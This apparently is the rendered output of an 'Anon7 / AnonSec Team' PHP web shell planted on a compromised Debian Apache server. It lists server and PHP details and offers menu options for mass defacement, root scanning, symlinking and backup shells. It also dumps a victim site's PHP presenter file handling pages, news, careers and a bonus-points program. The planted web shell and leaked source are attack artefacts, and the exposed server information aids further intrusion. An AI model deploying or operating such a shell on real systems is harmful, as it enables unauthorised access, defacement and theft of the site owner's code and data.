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/  Your IP : 172.18.0.1   [ Reverse IP ]
Web Server : Apache/2.4.38 (Debian)
System : Linux a1822d00732a 4.15.0-39-generic #42-Ubuntu SMP Tue Oct 23 15:48:01 UTC 2018 x86_64
User : www-data ( 33)
PHP Version : 7.1.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/app/frontModule/presenters/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/app/frontModule/presenters/PagesPresenter.php
<?php

namespace App\frontModule\Presenters;

use Promoteus\BonusCarriersRepository;
use Promoteus\BonusItemsRepository;
use Promoteus\ClientRepository;
use Promoteus\Component\ProductImageModernizer;
use Promoteus\Components\Mails;
use Promoteus\Forms\InvitationForm;
use Promoteus\Forms\JobForm;
use Promoteus\ImagesTypeRepository;
use Promoteus\PageRepository;
use Promoteus\JobRepository;
use Promoteus\PostRepository;
use Promoteus\RepositoryException;
use Tracy\Debugger;
use h4kuna\DataType\Basic\Floats;

class PagesPresenter extends BasePresenter
{

    public function renderWhyRegister()
    {

    }

    public function renderAboutPromozone()
    {

    }

    public function renderAboutPromoteus()
    {
        $this->template->setFile(__DIR__ . '/../templates/Pages/aboutPromoteus.latte');
        /** @var PageRepository $pageRepository */
        $pageRepository = $this->context->getService('pageRepository');
        $language = $this->languageShortLoader();
        $first_page_url = 'subpage-first-'.$language;
        $second_page_url = 'subpage-second-'.$language;
        $third_page_url = 'subpage-third-'.$language;
        $fourth_page_url = 'subpage-fourth-'.$language;
        $fifth_page_url = 'subpage-fifth-'.$language;
        try {
            $first_page = $pageRepository->getPage($first_page_url, $language);
            $second_page = $pageRepository->getPage($second_page_url, $language);
            $third_page = $pageRepository->getPage($third_page_url, $language);
            $fourth_page = $pageRepository->getPage($fourth_page_url, $language);
            $fifth_page = $pageRepository->getPage($fifth_page_url, $language);
        } catch (RepositoryException $e) {
            $this->redirect(404, 'Homepage:');
        }
        $this->template->first_page = $first_page;
        $this->template->second_page = $second_page;
        $this->template->third_page = $third_page;
        $this->template->fourth_page = $fourth_page;
        $this->template->fifth_page = $fifth_page;
        $this->template->lang = $language;
        $this->template->sidebar = true;
        $this->template->allLangUrl = 'aboutPromoteus';
    }

    public function renderFlashMessage()
    {
        if (empty($this->template->flashes)) {
            $this->redirect('Homepage:');
        }
    }

    /**
     */
    public function renderBonusProgram()
    {
        if (!$this->getUser()->isLoggedIn() || $this->getUser()->getIdentity()->data['client']['bonus_program'] == 0) {
            $this->renderInfo('bonus-program');
            return;
        }
        $httpRequest = $this->getHttpRequest();
        $usedBonusPoints = 0;

		/** @var ClientRepository $clientRepository */
		$clientRepository = $this->context->getService('clientRepository');
		$client = $clientRepository->getById($this->getUser()->getId()['client']);

        if (in_array($httpRequest->getPost('type', false), ['bonus_points', 'bonus_products'])) {
            if ($httpRequest->getPost('type', false) === 'bonus_products') {
                if (!$httpRequest->getPost('bonus_selected_products')) {
                    $this->flashMessage(\App\Presenters\BasePresenter::getLanguage('bonus-program-zvolte-zbozi'), 'danger');
                } else {
                    $usedBonusPoints = abs($httpRequest->getPost('bonus_used_points'));
                    $bonusProducts = implode("\n", $httpRequest->getPost('bonus_selected_products'));
                    $bonusText = $httpRequest->getPost('bonus_text');
                    (new Mails())->sendUseBonusPoints($this->getUser()->getIdentity()->getData()['client'], $usedBonusPoints, $bonusProducts, $bonusText);
                }

            } elseif ($httpRequest->getPost('type', false) === 'bonus_points') {
                $usedBonusPoints = $httpRequest->getPost('bonus_points_amount');
                (new Mails())->sendTransferBonusPointsToSale($this->getUser()->getIdentity()->getData()['client'], $usedBonusPoints);
            }

            if ($client->update(['bonus_points' => $client->bonus_points - $usedBonusPoints])) {
                $this->user->identity->client['bonus_points'] = $client->bonus_points;
                $this->flashMessage(\App\Presenters\BasePresenter::getLanguage('vse-bylo-odeslano'));
            } else {
                $this->flashMessage('Error!', 'danger');
            }
        }
        $bonusPoints = $client->bonus_points;// $this->getUser()->getIdentity()->data['client']['bonus_points'];
        $this->user->identity->client = $client;
        $this->template->bonusPoints = $bonusPoints;
        if ($bonusPoints >= 500) {
            $order = 'DESC'; //od nejdražších
        } else {
            $order = 'ASC'; //od nejlevnějších
        }
        /** @var BonusItemsRepository $bonusItemsRepository */
        $bonusItemsRepository = $this->context->getService('bonusItemsRepository');
        /** @var BonusCarriersRepository $bonusCarriersRepository */
        $bonusCarriersRepository = $this->context->getService('bonusCarriersRepository');
        /** @var ProductImageModernizer $images */
        $images = $this->context->getService('productImageModernizer');
        $bonusItems = array();
        $i = 0;
        foreach ($bonusItemsRepository->getItems($order)['list'] as $product) {
            $img = [];
            foreach ($images->getProductImages($product["code"]) as $row) {
                if (empty($img)) {
                    $img = $row;
                }
                $bonusItems[$i] = $product;
                $bonusItems[$i]["image"] = $img;

            }
            $i++;
        }
        $this->template->bonusItems = $bonusItems;
        $this->template->bonusCarriers = $bonusCarriersRepository->getBonusCarriers($this->languageShortLoader());
    }


    /**
     * @param string $parameter
     */
    public function renderNew(string $parameter = null)
    {
        $title = null;
        if (is_numeric($parameter) || empty($parameter)) {
            $page = $parameter ?: 1;
        } else {
            $title = $parameter;
        }
        /** @var PostRepository $postRepository */
        $postRepository = $this->context->getService('postRepository');
        $news = $postRepository->getNewsDataByUrl($this->languageShortLoader(), $title, $title ? 1 : null);
        $imagesTypeRepository = $this->getPresenter()->context->getService('imagesTypeRepository');
        $this->template->imgSrc = $imagesTypeRepository->findAll()->fetchAssoc('id')[ImagesTypeRepository::PostImage]['src'];
        if (!$title) {
            $paginator = new \Nette\Utils\Paginator;
            $paginator->setItemCount(count($news)); // celkový počet článků
            $paginator->setItemsPerPage(10); // počet položek na stránce
            $paginator->setPage($page ?? 1); // číslo aktuální stránky
            $news = $postRepository->getNewsDataByUrl($this->languageShortLoader(), null, $paginator->getLength(), $paginator->getOffset());
            $this->template->paginator = $paginator;
            $this->template->news = $news;
        } else {
            $this->template->news = array_shift($news);
        }
    }

    /**
     * @param $email
     */
    public function renderInvitation($email)
    {
        /** @var ClientRepository $clientRepository */
        $clientRepository = $this->context->getService('clientRepository');
        $this->template->client = $email ? $clientRepository->getClientByEmail($email) : null;
    }

    public function renderAboutUs()
    {

    }

    public function renderCareer()
    {
        $ls = $this->languageShortLoader();
        /** @var JobRepository $jobRepository */
        $jobRepository = $this->context->getService('jobRepository');

        try {
            $jobs = $jobRepository->getActiveJobs($ls);
        } catch (\Exception $e) {
            $jobs = [];
        }

        $this->template->jobs = $jobs;
    }

    public function renderContacts()
    {

    }

    public function renderCatalogArchive()
    {
        $page_url = $this->getRequest()->getParameter('url');
        /** @var PageRepository $pageRepository */
        $pageRepository = $this->context->getService('pageRepository');
        $page = $pageRepository->getPage("katalog", $this->languageShortLoader());
        $this->template->page = $page;
    }

    public function renderCatalog()
    {
        $page_url = $this->getRequest()->getParameter('url');
        /** @var PageRepository $pageRepository */
        $pageRepository = $this->context->getService('pageRepository');
        $page = $pageRepository->getPage("katalog", $this->languageShortLoader());
        $this->template->page = $page;
    }

    public function renderInfo(string $url = null)
    {
        $this->template->setFile(__DIR__ . '/../templates/Pages/info.latte');
        /** @var PageRepository $pageRepository */
        $pageRepository = $this->context->getService('pageRepository');
        $page_url = $url ?: $this->getRequest()->getParameter('url');
        $sidebar = false;
        try {
            $page = $pageRepository->getPage($page_url, $this->languageShortLoader());
            if ($page_url == "duplikace-usb-flash-disku" OR $page_url == "usb-flash-drive-duplication" OR $page_url == "duplikation-von-usb-sticks") {
                $sidebar = true;
            }
        } catch (RepositoryException $e) {
            $this->redirect(404, 'Homepage:');
        }
        $this->template->url = $page_url;
        $this->template->page = $page;
        $this->template->lang = $this->languageShortLoader();
        $this->template->sidebar = $sidebar;
        $allLangUrl = $pageRepository->getAllLangUrl($page->id);
        $this->template->allLangUrl = $allLangUrl;

    }

    private function createComponentInvitationForm()
    {
        /**@var InvitationForm $invitationForm */
        $invitationForm = $this->context->getService('componentInvitationForm');
        return $invitationForm->create();
    }

    public function createComponentJobForm()
    {
        /**@var JobForm $componentJobForm */
        $componentJobForm = $this->context->getService('componentJobForm');
        return $componentJobForm->create();
    }

    /*public function createComponentItemsList()
    {
        return $this->context->getService('itemsList');
    }*/
}

Anon7 - 2022
AnonSec Team